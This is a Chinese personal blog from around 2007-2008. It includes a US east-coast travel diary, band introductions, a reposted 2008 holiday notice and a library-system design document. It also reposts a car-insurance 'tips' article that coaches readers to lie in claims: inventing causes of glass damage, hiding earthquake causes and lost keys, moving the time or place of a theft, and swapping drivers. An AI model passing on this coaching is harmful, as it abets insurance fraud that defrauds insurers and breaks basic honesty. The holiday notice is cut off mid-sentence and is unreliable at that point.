          吸取昨天教训,今天直接把车挺在了博物馆门口。看得出来这里的人也都是下午才出来活动,上午10点车位都还很空。下车后就一路向东,直奔被许多人误认为White House的Capitol Building。在门口南侧的小屋子那里取票后就可以等候进入参观了,当然安检是必不可少的。整个Capitol Building还是很有历史,包括里面各个人物、雕像、油画的摆放以及整个建筑物的布局。里面最多的还是对Washington的赞颂了。下午在National Air and Space Museum乱逛,这个Museum其实是这附近最吸引人的一个博物馆了,从里面川流不息的人群就可以看出来。如果有足够的时间的话一整天都可以泡在里面。

    Day 4
          早上离开Washington DC,延95号公路北上Philadelphia。路上碰巧遇到了收费站,不过还好的是相对国内¥100多过路费比这里只要不到$5。中午到Philadelphia吃过饭后碰巧在这里的China Town。远远望去那里人山人海,走进一看,原来这里正在闹新年。一个舞狮队延着马路给街边的各家各户拜年。那传统的过年习俗在国内很难见到了。这天也正好是Philadelphia Auto Show,不过由于时间的原因就奔Independence Hall去了。作为美国的旧都,Philadephia街上的许多建筑各有特色,这个也是人很难发现这栋不起眼的小楼就是美国革命的发生地。整个小楼和《国家宝藏》里面的很相似(貌似是废话啊),所以忍不住往Tom Cruise取眼镜的断墙处多看了几眼,不过很可惜的是这里不让上楼细看。看过Liberty Bell就再顺着95号公路往北前往New York。

    Day 5
          昨天晚上到达了New York。它给我们的第一个惊喜就是---堵车。在整整1个多小时后终于到达了旅馆。这次的New York安排的不是很成功,为了住的比较近,旅馆安排到了Manhattan Island,结果在这个寸土寸金的地方连停车的地方都不好找。最好的方法应该是住在Long Island,然后把车停在旅馆,买Day Pass用New York方便的公交旅游。今天主要在城市里面穿行,看了看象Empire State Building、Times Square、Wall Street、United Nations之类。在穿行中居然穿过New York的China Town。在Wall Street看到了那个被网上传的沸沸扬扬说国人不文明的“铜牛”,结果看了那些老外和铜牛的合影后吓了一跳,具体他们对那可怜的牛做了什么,我就不在这里明说了,只是说他们喜欢在牛背面照。傍晚时分过海底隧道到Jersey City的Liberty State Park,望了几眼Statue of Liberty后就走了,因为这个时候那里实在是---太冷了。

    Day 6
          今天上午早早的前往Metropolitan Museum of Art,不得不说这里面展示了许多稀世珍品---被美国人抢过来的,当然也包括中国的。推荐最好有一整天的时间来细细品味这个博物馆,由于时间原因我们下午就离开New York前往Boston。不巧的是正好离开的时候天上飘起了大雪,值得称赞的是在这种国内肯定要封高速公路的大雪下,美国的FreeWay上车辆依然井然有序,并且平时的超速现象也消失了。晚上在大雪中到达了Boston,突然发现虽然Boston比New York要北,但是居然没有New York冷,于是再想起在New York那里拥挤的街道,无礼的出租车,冰冷的行人,得出结论New York不是好地方。

    Day 7
          早上在大雨中奔赴Havard,由于错误地乐观的估计了天气,造成雨伞没有带够,只好冒雨参观这里了。Havard与MIT都座落在Cambridge的城市里,其实这里也是Boston的一个卫星城,离市中心大概不到20Mile。Havard这里基本上成为游客来Boston比看的一个景点,路上偶遇几个旅游团。还有在这里的一个奇怪现象就是这里亚裔的非常多,在路上黄皮肤黑眼睛的要占到一半左右。与国内高校不同的是Havard基本上保持了几百年前的原貌,路上也都是英式的老房子。中午离开的时候在中心区路边的一个中国餐馆吃的饭,特别推荐这里,价格实惠量又足~~~
          离开Havard和MIT后来到了Boston市中心。在这里有一条推荐的步行通道,可以看到Boston的各种历史遗迹,基本上是美国反抗英国殖民统治的。在这里可以看到美国人对他们的历史遗迹的保护,基本上各种建筑都是按原貌在这里的。所以可以看到在高楼林立的市中心有一栋低矮的房屋---老洲议会大楼,昆西市场等等。Quincy Market里可以尝到各种风味的小吃,还有一些民俗纪年品。

    Day 8
          今天一天基本上是在赶路。上午起来后Check out。然后再去Havard那里买了些纪念品,顺便又去了那家挺不错的中国餐馆。下午横穿整个New York State,来到了Niagara Falls。这是一个美加边境的小城市,高楼不多,相比对岸的加拿大要逊色好多。可能是因为旅游者有Visa的话都到加拿大那边去了,还有一个原因就是这里靠近Toronto。

    Day 9
          起床后就往Niagara Falls方向走去,对,没错走去。这次在Niagara Falls定的旅馆非常好,因为不是旅游旺季,所以还可以定到,这里有两家旅馆里Niagra Falls景区非常近,步行5分钟左右就可以看到瀑布了,名字是Howard Johnson Closest to the Falls and Casino、Days Inn Niagara at the Falls,推荐没有加拿大签证的住这里。
         世界第一大瀑布果然名不虚传,离开旅馆走了2分钟左右就听到瀑布声了。在夏季可以乘坐游船看两大瀑布全貌,不过冬天下面的湖全冻上了,很多收费的地方都免费。望远镜也不能用了,因为上面也是冻上了一层厚厚的冰,可是好玩的是冻上后的望远镜超象一个个大胡子雪人,可爱极了。在Nigara Falls State Park里看完后可以沿一跳步行桥上Goat Island,在这里可以看瀑布上游和加拿大瀑布。由于冬天很多项目因为危险都没有,所以最好还是夏天过来一游。提前预订旅馆是必须的~~~

    Day 10
          结果了美国东部之旅,往Indianapolis奔去。东部是美国的发源地,这里有许多美国重要历史时期的遗迹,对了解美国历史文化方面更有好处。在这里感受到同Los Angeles完全不同的氛围,这也是美国多民族文化的包容性所致。总的来说这是一次愉快的旅^_^

    2/6/2008

    2007年度SPACE总结

     
    2007我很忙“2007我很忙!” 你呢?点这里测测看!
    1/27/2008

    Indianapolis小记

    在搭乘了12个小时的飞机后终于到达了Chicago。恩,对,没有写错,因为没有直飞Indianapolis的航班,所以只有在Chicago转机。结果被可恶的UA耍了一把。在上海起飞的时候就晚点一小时,然后UA很“贴心”把我预定Chicago18点的航班转到21点,结果当地时间16点到了Chicago后他们怕我出关转机的时间来不及,再把21点的航班延迟到23点。于是当我在Chicago国际机场灌了4个小时BBS后于当地时间1点来到了Indianapolis。


    和Chicago相比Indianapolis算一个小城市了。当晚上11点飞离Chicago时看到灯火璀璨相对应的是已经进入睡眠的Indianapolis。整个Downtown估计和五角场差不多大的规模。和北京差不多的纬度暗示着这里是一个很冷的城市。由于没有冬季在长江以北城市的经历,所以被这里的寒风来个下马威,带着被冻得通红的耳朵在满是积雪的城市溜达。听说最近上海开始下大雪了,也真是可惜,刚离开就下雪了。不过也算在这里满足了愿望,每天晚上天上总有飘雪,忽大忽小~~~


    今天参加了一次Indianapolis的华人Homeparty。在城郊的小区内转了超过10分钟后才在一片相似的房子中找到位置。这个Homeparty是属于当地的来了10多年的华人办的,走近他的别墅,里面来了不少人,从3、4岁的小孩到7、80的老人。开始的破冰游戏让每个人扮演圣经中某个家庭的成员,要让每个人在限定的时间内认识“家庭”的其他成员。在屋子里漫无目的转了几圈后终于找到“家”了。我和两个在国内过来半年的访问学者以及一位在这里生活15年的统计师在一起。大家还是挺融洽的,不过遗憾的是在最后介绍的环节里实在把他们和扮演圣经中的名字对不上号,我们“家”全军覆没~~~稍后是每个“家庭”成员依次轮流扮演某个生肖,让后面的人猜。这个挺顺利的,不过神奇的是有一个在被告知要扮演的生肖后毅然决然的做出了造型是———沉思者?!Oh,No~~~我想后面出场者都郁闷了~~~最终的谜底揭晓,居然是狗!?看来那些30多岁的大孩子们思想还是很丰富的。

    期待着别样的新年到来~~~

    1/18/2008

    时光飞逝

          时光飞逝,转眼又一个学期就这样过去了。不得不说这学期过的跌宕起伏,做了许多决定,失去了许多东西。对于未来,对于毕业,有了明确却又迷茫的打算。也许在这里还是只有这条路对我来说是最适合的。随着对社会的越来越接近,却感到身上的担子越来越重。那种无忧无虑的欢快生活也彻底远去,小时候的不懂事偶尔也会浮现在眼前,时常体会到父母的艰辛与伟大。
          这学期是自己最忙的一个学期,想到的,没想到的,安排好的,突然来的,各种事情都汇聚而来。学到了许多,锻炼了许多,看淡了许多,了解了许多。现在终于这学期手头的事情终于弄得差不多了。这里要向朋友们道歉,有些短信常常忙得忘记察看和回复,有些时候忙得无法联系问候。还是希望在以后能多联系,能见面的就不打电话,能打电话的就不发短信。
          23号离开上海,开始假期生活。

    1/16/2008

    进保技巧大全

    保险公司的条文晦涩难懂,这篇文章深入浅出的教你如何与保险公司周旋

            (一)车损,第三者
            (二)丢车
            (三)撞车
            (四)索赔

            保险条款精解(一)- 车损,第三者
            咱们先说说最主要的车损险和三责险。
            车损险和三责险是车辆保险的基本险,主要赔偿被保险车辆的损失以及由被保险车辆在使用中给第三者带来的损失!您大概觉得即使是自然灾害造成的车辆损失,保险公司也照赔不误!这话对了一半,大部分的自然灾害造成的损失都赔,惟独一样除外--------地震!!!!

            案例1:
            如果您的车有幸在地震中被建筑物砸到的话,哈哈
            应对方法:等地震过后几天再申请赔偿
            出险陈述:大概由于地震造成墙体松动,终于在某一天倒下了(不要提及地震时出险)★★

            案例2:
            如果您的爱车在一次急刹车中,车里的东东飞到了风挡上造成玻璃破裂。您该怎么说呢?你老老实实的对保险公司说:“我的纸巾盒飞起来打中了玻璃”“哗。。。。。。”(内功够高,呵呵)”你惨了。。。。。。那个理赔员会指着自己的嘴:“请看我的口型---------no!!!!!!”
            正确的应对方法:小小的改变一下事实
            出险陈述:我的一个练过铁头功的朋友在刹车时撞碎了风挡,ok!记住,受车内物品的撞击所受损失,保险公司不赔的!!!!!!★★★★★

            案例3:
            您如果在拖车时与别的车发生了碰撞时
            应对方法:忽略一些事实存在的东西
            出险陈述:别提你在拖带车辆或者被别人拖带,否则不管你有没有事故责任,保险公司一律不赔★

            案例4:
            如果你在事故时,打破了自己的玻璃又没有上玻璃险时,你会向保险公司索赔吗?没上玻璃险找人家索赔能行吗???????行,绝对行。玻璃险的全称是:玻璃单独破碎险,是指停车和使用时造成的玻璃损坏,而事故造成的玻璃损坏应由车损险来负责赔付。如果您没上玻璃险,当您早上起来发现自己的汽车玻璃不知道被哪个混蛋打破了,怎么办呢??呵呵,老招法---------开车时急刹车造成的,又是脑袋惹的祸!(记得找一个身高差不多的朋友来当挡箭牌啊),如果是侧面的玻璃破了,就说侧滑时脑袋撞的好了,呵呵!★★★★★

            案例5:
            如果您的车在撞车时,打破了一个小灯,您该怎么办呢?找保险公司,他绝对不敢不赔您,那您赚了??没,您大概要赔了。没听明白??告诉您,每辆车的全险大概在2500-5000之间(太好的车,您就自己算吧,我数学不好),如果您在一年的保险期内没有索赔,您将在下一年投保时获得10%的无赔款优待,这笔帐您自己算算,如果索赔数量太小,哎,就这样算了吧。。。。。

            保险条款精解(二) - 丢车
            谨以此文献给丢过车和有可能丢车的朋友!
            车辆在停放和使用的过程中难免会让人有烦心的事,其中,丢车是最倒霉的事了,不过,如果你按照我说的去做,您的损失会降到最低点。
            首先记得先看看自己的保险单里有没有上车辆盗抢险。什么,没有?那你认倒霉吧,找我花子也没用了,再买一辆吧如果你上了盗抢险,首先,我要恭喜你,你的损失可以降到最低了,不过,也要小心啊!这时你要做的是闭紧你的嘴,踏踏实实的看完我的帖子,否则你一定会后悔的!

            案例1:
            盗抢险中规定,被保险人丢失行驶证、购车原始发票、车辆购置附加费凭证每一项增加0.5%的绝对免赔。丢失车钥匙增加5%的绝对免赔。这些规定在保险单中用颜色最浅的字体印刷,不信,您可以拿出单子仔细看看,肯定在某个不显眼的角落里能发现这段话。
            所以不管你是否有一把备用钥匙曾经丢失过,或者是在您被开跑了的车里有一把钥匙,请您记住一定要忘记这件事,否则。。。。。。5%的损失您自己抗定了!

            案例2:
            如果您的车在收费停车场或营业性修理厂中被盗,保险公司负责赔偿吗?
            答案是:不赔!!因为上述场所对车辆有保管的责任,在保管期间,因保管人保管不善造成车辆损毁、丢失的,保管人应承担责任。保险公司不负责赔偿。
            所以正确的方式是找停车场去索赔,所以,每次停车时记得收好停车费收据啊,虽然上面印着丢失不管,但根据我国合同法中关于格式合同的规定,这属于单方面推卸自己应负责任!你尽管放心大胆的告他好了,呵呵,给您一个好消息,已经有人打赢了这样的官司,所以根据案件推溯的原则,以后的案件审判可以依照这个案例来判决,哈哈!

            案例3:
            如果,停车场是您的朋友开的,或者您从侧面打听到这个停车场根本无力赔付您的爱车,您是否可以考虑改变一下丢车的地点呢?哈哈,我可什么都没说啊

            案例4:
            再有,如果您是一位老板,因为一些帐物上的问题和朋友闹翻,而您的朋友又是一位小人,他偷偷把您的车偷走了,您猜到会是他干的,您会找保险公司赔偿吗?
            告诉您,保险公司可不负责赔偿。因为条款规定:被保险人因与他人的民事、经济纠纷而致车辆被抢、被盗为责任免除。所以,您大可忘记您的经济纠纷,直接到**报案,记住,千万别说出您的怀疑对象,否则就会把经济问题扯进来了,以中国法院的工作效率,您大概半年之内得打车出门了!

            案例5:
            如果您刚买了一辆新车,上了全险,但没有来得及领牌照(现在的交管规定:验车后的15个工作日后方可领牌证),出险后保险公司负责赔偿吗?
            不负责赔偿。因为在出险时,保险车辆必须具备两个条件,一是保险车辆须有公安交通管理部门核发的行驶证或号牌,二是在规定期间内经公安交通管理部门检验合格。但一般经特别约定对**部门规定需先保险后检验核发号牌的新入户车辆可负责车损险和三责险。所以负责丢车赔偿的盗抢险并没有生效,自然,您也得不到赔偿。
            看来如果您不是仗着胆子改一下丢失的时间,新买的车就算送人了!我可又什么都没说啊

            案例6:
            如果您的车失而复得,保险公司如何处理赔款?
            被盗抢的保险车辆找回后,如果保险公司尚未赔款的,应将该车辆归还给您,但是全车被盗抢期间,车辆受到的损坏或车上零部件、附属设备丢失需要修复的合理费用,保险公司负责赔偿。如果保险公司已经赔偿,应将车辆归还您,同时收回相应赔款。若您不愿收回原车,则车辆的所有权益归保险公司。

            保险条款精解(三)- 撞车
            谨以此文献给撞过车和有可能撞车的朋友!
            只要是撞车,保险公司全赔吗?当然不是
            你只要认真看看手里的保单赔偿免责条款就知道了,保险公司有一大堆不赔的东西呢,想把损失降到最低,还是来找我吧,哈哈!

            案例1:
            假设你是一个新手,刚借了一辆车(当然也没准是租的车),在路上练车的时候,把你弟弟给撞了,你知道这辆车有三责险,你会找保险公司索赔吗?
            答案:如果你去了,你就是神经病,保险公司会一脚把你踢出去,为什么??
            首先,你要知道什么是三责险,全称:第三者责任险。(第三者插足人家可不管,呵呵)那什么是第三者呢?
            第三者指除保险人与被保险人之外的,因保险车辆的意外事故致使保险车辆下的人员或财产遭受损害的在车下的受害人。通俗的讲第三者就是排除四种人:即保险人、被保险人、本车发生事故时的驾驶员及其家庭成员、被保险人的家庭成员。
            现在明白了,你作为当时的驾驶员,撞伤你的家人,保险公司是不赔的,好了,你知道该怎么办了!什么?还不知道?气死我了,换个驾驶员撞的不就完了嘛,真是的,害我什么都说出来了

            案例2:
            如果您有幸开车撞人了,而且全是您的责任,法院判您赔偿您包赔对方的经济损失、精神损失费、伤残损失费。。。。你该如何处理呢??
            还能怎么样,给钱就是了!
            错!!!!!!!!!!!!!!!!!
            你应该和对方家人商量,加大经济损失赔偿和伤残损失赔偿,尽量把精神赔偿降到最低,没有当然就更好了。
            为什么?你问我为什么?这不是五马换六羊嘛
            老兄,你又错了,保险公司不是无条件地完全承担'被保险人依法应当支付的赔偿金额',而是依照《道路交通事故处理办法》及保险合同的规定给予赔偿。而条款明确规定,因保险事故引起的任何有关精神损害赔偿为责任免除。所以无论法院判决被保险人是否应赔偿精神损失,保险公司均不负责赔偿。
            明白了??别的保险公司都替你赔,精神损失可不管,所以,宁可多给对方点钱,也别答应精神赔偿,总之,慷保险公司之慨呗,呵呵!

            案例3:
            如果你又有幸撞车了,这回不是您的责任,而对方又不想赔钱,您可以找保险公司索赔吗?
            答案:可以,不过您必须先向第三方索赔,才有可能获得保险公司的赔偿。如果您放弃了向第三方索赔的权利,而直接向保险公司索赔,保险公司不赔。因为您放弃了向第三方追偿的权利,同时也就放弃了向保险公司要求赔偿的权利。
            所以,切记,切记,一定要先找对方赔,最好是有法庭的强制执行未果的证明,然后您就可以理直气壮的找保险公司了,剩下的烂摊子尽管让它们收拾去吧,谁让它们每年收了您那么多的保险费呢!

            案例4:
            记得以前有个倒霉的司机在jc的指挥下,撞向了正在逃窜的罪犯,结果两车相撞,那叫一个惨啊,保险公司会赔他吗?当然不会啦,保险条款写的明明白白,驾驶员的故意行为不在赔偿之列,所以只能自己修车了:(所以,如果您没有足够的经济能力,在当英雄之前要考虑一下噢!!!

            保险条款精解(四)- 索赔

            ★保险案例一:(不可不看,因为您以前可能没听说过。)
            坛中一知名dx的朋友丢失一爱车,已上全险,找保险公司索赔,未果,
            案例分析:保险公司所做所为,十分合理,于保险合同条文也有根据:保险只对合格车辆生效,对于未年检的车辆只能视为不合格车辆,就算您保养的再好也没用,结果只能是丢了白丢,保险也上了白上,顶多退回保险现金价值。
            案例结论:您的爱车,千万要按时年检,切不可后延,否则,罚款事小,拒赔事大,此时即使发生交通事故造成第三者损失,也将由您自己承担,保险白买了 :(
            案例解决办法:按时年检,即使是一天,也不要晚;如果真的发生不幸,也要记住千万不要立即报案,尽快花银子把验车手续补齐后再办理报案索赔手续!
            不好意思,刚才一阵头晕,我什么也没说吧?说了也是胡话

            ★保险案例二:
            与上相通,驾驶员年审未做的请注意了,您在驾驶中发生的一切问题,保险公司不负责赔偿,理由与上例相似,恕不赘述。

            ★保险案例三:
            这是一个经常被问到的问题:我的车刚买,还没有上牌照,保险是否生效
            解释:车辆在出险时,保险车辆必须具备两个条件,一是保险车辆须有公安交通管理部门核发的行驶证或号牌,二是在规定期间内经公安交通管理部门检验合格。
            但一般经特别约定对规定需先保险后检验核发号牌的新车辆可负责车损险和三责险
            所以,这时您的车丢了就算倒霉了,撞了人啥的还算凑合有保险公司给您顶着,现在清楚了吧!

            ★保险索赔证明材料原则:(因为这个问题有n人问起,所以在此做一解答)
            保险索赔时分几种情况
            1,事故经交通队出面解决的
            由交通队出具处罚单或调解书,经法院判决的,用判决书即可。这些材料绝对好使,在保险公司肯定一路绿灯。放心索赔好了
            2,在小区内发生事故的
            重大事故:即车损严重的,还是要到交通队开证明,很麻烦
            一般剐蹭:到小区物业开证明,因为经常受怀疑,一般也很麻烦所以,最好报案时报在城市道路上,否则-----------累死你!

            3,在道路上发生小事故的,包括停车时的剐蹭(此类事故坛中dx发生的最多)
            此类需要证明的原则是:是否涉及第三方
            如涉及第三方赔付的,还是需要交通队证明。
            如事故双方自行了断的,可以在索赔时注明:事故第三方自修,然后按车损险中的自责索赔,保险公司要是让您到交通队开证明,您一定得咬住了别松口,就说没地儿开去,保险公司一般也不会太较真。您要答应去开证明,别怪我没提醒您,您就跑去吧,赔的钱不定够不够油钱呢!

            4,最背的人
            如果被别的车撞到后,肇事车逃逸,无法查找情况严重的就比较麻烦,要通过交通队解决,可以由保险公司代位追偿。
            不严重的话,最好也是以自责来解决索赔问题,而且要在索赔时注意到

    12/23/2007

    贴两支乐队

    era
    Era,英文原意为"时代、世纪",是一个风格与Gregorian(格林高利合唱团)接近的音乐团体,其灵魂人物是法国音乐家Eric Levi。关于Eric Levi,我们所知的确实不多,甚至也只在Era的作品中见过他的名字。但是Era系列几张作品获得的成功反响,为他与日俱增的名气奠定了优厚的基础。
    如果说Gregorian是在Enigma第一张专辑的音乐风格基础上强调格林高利圣歌而发展出来的,那么同样也可以说Era是借鉴与继承了Enigma、Deep Forest、Gregorian等名家的成功元素并加以进化创新而生的。总体来看,Era与Gregorian两者的音乐类型都是圣歌与现代器乐的融合,甚至乍听起来,还颇为相似。不过学习并非罪,刻板模仿才是可耻的,毕竟不是每个人都能如Enigma那样能开一派之先河的。如前所说,Era本来就是对前人成功经验的继承和发展,关键在于比以前是否有所突破和变化。而经过市场考验的结果是上,Era成功了。
    比起Gregorian全男班的阵容(Sarah Brightman的献声毕竟是少数),Era无论在和声还是领唱上,都加重了女声的成分,因而整体风格都显得更柔和、更温暖。我觉得Gregorian的歌声像高居圣坛之上的肃穆之歌,多少有点儿"可远观而不可亵玩焉";而Era的则更人性化,像是就在我们身边的平民歌声。这里并无任何褒贬之分,纯粹只是我个人感觉上的不同罢了。而且由于女声的加重,Era的声部明显比Gregorian来得更丰富,而且女声领唱的戏分更重了。此外,Gregorian很注重乐曲的整体氛围的营造,而Era的曲子旋律性更强,很易上口,感觉上更流行化一些吧。这也许正是Era成功的秘诀之一。
    Era至今为止仅发行过3张专辑,分别是1998年的《Era》、2001年的《Era 2》以及2003年刚刚发行的《The Mass 弥撒》。发行数量并不多,但都是颇受欢迎的作品。《Era》中的一曲《Ameno》红极一时,曾被包括《Voyage 2》在内的多张新世纪精选专辑收录,俨然为Era的代表作。而且《Era》还被Allmusic评定为4.5颗星,作为一张并非名家的作品而言,已经是相当不错的成绩。
    Era这个乐队融合了不同的乐风-其中包括歌剧和舞曲,创造出来的结果可被形容为最极至的音乐实验。Era以这首《Ameno》发挥传统宗教音乐鼓舞人心的特质,并使用唱诗班来制造肃穆甚至几乎神圣的气氛,同时以如剃刀般尖锐的吉他刷弦衬托出旋律。Era替法国卖座喜剧片《时空急转弯》谱写配乐时,发展出自己独创的乐风,这种乐风融合了硬式摇滚和格林高利圣歌。
     
    Gregorian
    Gregorian是由12位浸淫于教堂音乐与合声风格,拥有深厚古典基础,并在英国伦敦乐界有一定地位的演唱家所组成。其制作人 FrankPeterson曾是Enigma的一员,知名作品有很多:如Enigma的和,SarahBrightman的< TimetoSayGoodbye>等等。正因如此,我们常常可以在他们的作品中听到与Enigma如出一辙的配器和编曲,而 SarahBrightman更是数次在作品中献声,为专辑平添几分光彩。
    在此有必要介绍一下所谓的"Gregorian Chant"。这是在罗马天主教会的正式礼拜仪式中所唱的圣歌,起源于中世纪的罗马天主教会。当时有位教宗叫格林高利一世(Gregorius Magnus,任职期间公元590~604),他曾将这些圣歌编辑成册,因此后世人称其为“格林高利圣歌”。Gregorian Chant具有以下特征:歌词全是拉丁文,是无伴奏、无和声的单一旋律线,节奏非常自由,采用不同于“大小调系统”的调式音阶,同时还具有客观的、非个人的与超世俗的性质。这种圣歌音乐与礼拜仪式密不可分,它们可算是“功能性的音乐”,亦即具有特殊功用的音乐,不具娱乐价值。它们主要旨在表达歌词的宗教内涵,而不注重官能美感或情感诉求。但有趣的是,中世纪许多俗乐与民谣却改编自格林高利圣歌的曲调。
    圣乐对中世纪的欧洲人而言,与日常生活息息相关。当时,社区的每一份子都必须参加宗教聚会,并在聚会中唱圣歌。天主教的主要礼拜仪式有两种:“弥撒”与 “日课经文”,格林高利圣歌就是应用在这两种天主教的礼仪歌曲。例如,弥撒常用部分的歌曲包括<垂怜曲>或<慈悲经>、< 光荣颂>或<荣耀经>、<信经>、<欢呼歌>或<圣哉经>、<羔羊赞>,在中世纪时都是用格林高利圣歌来吟唱。因此一般民众对于格林高利圣歌的熟悉程度就如同今日一般民众对于本地流行歌曲的熟悉程度。
    中世纪时期,历史上也称之为“黑暗时代”——The Dark Age。这一称法是相对于中世纪之前的古希腊古罗马时期和之后的文艺复兴时期这两个西方历史上的“黄金时代”而言的。在当时,无论在自然科学或是社会科学方面都要逊于古希腊古罗马时期,加上当时战乱和疫症流行,广大平民生活水平低下,是名副其实的“黑喑时代”。十字军东征,黑死病与鼠疫的肆虐,阴森的哥特式古堡……提起中世纪,不可避免地总会和这些影像画面联系在一起,而在音乐上,最具代表性的则莫过于Gregorian Chant——格里高里颂歌。
    实际上,Gregorian Chant的出现要略早于中世纪,约在公元十世纪左右,作为西方早期的系统化宗教音乐类型,它对整个西方音乐体系有着深远的影响。Gregorian Chant以极简单、极低沉的管风琴为背景(或完全无背景音乐),压抑的男声如潮水般连绵起伏,时而徘徊于幽沉的低音部,时而又突然攀升至难以想像的高音区,音域跨度之大和对人声要求之高,是其他Early Music所不能比拟的。
    如果说中世纪的Gregorian Chant代表着摈弃所有尘世俗欲与理性,一切精神指向归于上帝的话,那么在2000年出版的这张《GREGORIAN·MASTERS OF CHANT》则彻底地颠覆了Gregorian Chant的所有精神指向。毕竟,上帝死了。尼采说。
    在世纪交替时刻从事新风格音乐的开拓,本来就不是件简单的事。常常当初听起来十分新鲜的东西,不久后便失去诱惑力,最后会发现最令人回味的还是那些有着传统风味而经得起考验的旋律。我们可将Gregorian视为是个相当具有野心的计划,然而也只有它才经得起考验,能够颠覆我们所熟知的流行音乐,并将之融入这源流自西元六世纪Pope Gregor一世在位时,惯常出现於教堂、庙宇及修道院的此款独特表现方式中。
    为了实现这个计划,Gregorian要寻找流行音乐史上的不朽名曲,并网罗了10位来自英伦的教会合和声精英,赋予这些歌曲神圣的内涵及感受...
    这10位著名的吟唱者可说是教堂合声乐音的顶道者:Philip Conway、Thomas Barnard、Jeremy Birchall、Andrew Busher、Mark Bradb2ury、Timothy Holmes、 Roger Langford、Gregory Moore、David Porter Thomas及Christopher Tickner,他们在英国的地位崇高,歌声从London、Oxford、Cambridge、Birmingham、Nottingham、 Southampton到Edinburgh的教堂均可耳闻,也均为传统音乐名校St. Martin、Royal College Of Music、King' s College Cambridge、Royal Academy Of Music及Royal Northern School Of Music等出身,可说是最能亲切表达、也最具经验的诠译者。" 我们正打着Gregorian的名权益号在全新的领域中冒险,过程十分紧张刺激。Gregory Moore说道,「从传统教堂音乐向外拓展绝对是正面的事,将两种基础截然不同的音乐合而为一更是个超酷的主意。
    数十位杰出的音乐家作出了心血奉献,再结合制作人的严格要求及卓越眼光、对先进录音技术的精密掌控、无与伦比的音乐触觉及处理手法,将Gregorian 的首张作品转变成一场前所未见的音乐体验,仿佛历险般处处惊喜,那些愿意体验的朋友们将得到无比乐趣。Gregorian的作品充满者幻象与玄妙的特色,而不仅是时兴的神秘音乐跟随者;相反的,它将古早与现世的风格融而为一,创造出全新的听觉领域,在流行旋律、进步科技、修道院影响及Ambient乐风之间找到了最完美的结合方式,总而言之,这不仅是张实验性的和声专辑,而是为未来的流行音乐提供了前行的方向。
    12/18/2007

    国务院办公厅通知 明确08年部分节假日具体安排

    核心提示:明年假日时间安排公布,元旦12月30日-1月1日,春节2月6-12日,清明4月4-6日,端午6月7-9日,中秋9月13-15日,国庆9月29日-10月5日。

    中新网12月18日电  据国家发改委网站消息,近日,国务院办公厅发出通知,明确了2008年部分节假日的安排。通知指出,根据《国务院关于修改〈全国年节及纪念日放假办法〉的决定》,为便于各地区、各部门及早合理安排节假日旅游、交通运输、生产经营等有关工作,经国务院批准,2008年,元旦、春节、清明节、国际劳动节、端午节、中秋节、国庆节放假调休日

    期具体安排如下:
     
    一、元旦:2007年12月30日-2008年1月1日放假,共3天。其中:1月1日(星期二)为法定节假日,12月30日(星期日)为公休日,12月29日(星期六)公休日调至12月31日(星期一),12月29日(星期六)上班。
     
    二、春节:2月6日—12日(即农历除夕至正月初六)放假,共7天。其中,2月6日(除夕)、2月7日(春节)、2月8日(正月初二)为法定节假日,2月9日(星期六)、2月10日(星期日)照常公休,将2月2日(星期六)、2月3日(星期日)两个公休日调至2月11日(星期一)、2月12日(星期二),2月2日(星期六)、2月3日(星期日)上班。
     
    三、清明节:4月4日—6日放假,共3天。其中:4月4日(清明节),为法定节假日,4月5日(星期六)、4月6日(星期日)照常公休。
     
    四、“五一”国际劳动节:5月1日—3日放假,共3天。其中,5月1日为法定节假日,5月3日(星期六)为公休日,5月4日(星期日)公休日调至5月2日(星期五),5月4日(星期日)上班。
     
    五、端午节:6月7日—9日放假,共3天。其中:6月7日(星期六)照常公休,6月8日(农历五月初五,端午节)为法定节假日,6月8日(星期日)公休日调至6月9日(星期一)。
     
    六、中秋节:9月13日—15日放假3天。其中,9月13日(星期六)为公休日;9月14日(农历八月十五,中秋节)为法定节假日,9月14日(星期日)公休日调至9月15日(星期一)。
     
    七、国庆节:9月29日—10月5日放假7天。其中,10月1日、2日、3日,为法定节假日,9通知要求,节假日期间,各地区各部门要妥善安排好值班和安全、保卫等工作,遇有重大突发事件发生,要按规定及时报告并妥善处置,确保人民群众祥和平安度过节日假期。 (本文来源:中新网 )
    12/11/2007

    团书馆管理系统设计文档

    1.            设计目的

    该实验使用交互式网页模拟对图书馆的各项管理操作。实现从前台网页连接后台数据库的不同功能操作。对于不同用户赋予不同权限,并实现各种不同权限的操作。并能够检索书库中各种书目,并对其进行增加,修改,删除,借阅,预定,归还,生成罚单等各种动作。有效的管理图书馆中各个用户,实现修改,删除,验证,增加等任务。

    2.            技术准备

    前台网页设计

    Html + CSS + JSTL

    实现对网页的统一管理,在页面中全部为静态网页代码,并使用CSS对对页面排版进行统一管理。网页中的部分逻辑采用JSTL标签库管理。使在前台中仅实现MVC模型中的View功能,方便后期管理。

    交互式网页逻辑

             Jsp1.4 + Struts1.2

             后台使用框架结构实现网页中各种逻辑,完成对数据库的前台管理。

    后台服务端

             Tomcat6.0 + jdk1.6.0

    数据库

             MySql5.0 + JDBC5.1.5

             数据库采用JDBC完成对网页逻辑与后台数据的交互。

    3.            网页逻辑实现原理

    a)         用户个人信息管理

                             i.              package com.library.DBcontrol.register

                          ii.              package com.library.DBcontrol.changeInformation

    b)         图书基本操作管理

                             i.              package com.libarary.DBcontrol.borrowBooks

                          ii.              package com.libarary.DBcontrol.search

    c)         用户登录验证

                             i.              package com.library.DBcontrol.DBconnect

           d)         图书馆管理

                             i.              package com.library.DBconnect.manager

    1.  处理作者信息

    2.  处理出版社信息

    3.  处理用户信息

    4.  处理罚单信息

    5.  处理管理员信息

    6.  处理图书信息

    4.            数据库设计

    详见DBdesign.sql

    5.            总结

    对于布置这次试验主要目的是完成对数据库的各项操作,包括建表,sql使用,数据管理。从而加深了对数据库的认识,将所学运用在实践当中。

    当然也通过这次试验,加深了对struts技术的理解与使用。理解了MVC模型的使用,加深对页面间各属性值生存周期的认识。

             对于此次试验的缺憾是开发进度过于缓慢,使用了2周时间才完成项目。主要是对Struts框架使用的不熟悉,以及在项目过程中现学现用的cssJSTL,不过在有了这次的经验后相信会对今后的项目开发起到一定的促进作用。

    11/22/2007

    感恩节快乐

    怀着感恩的心过好生活中的每一天~~~
    祝大家感恩节快乐!!!
    PS:希望中国邮政不要把我寄给父母的卡片弄丢了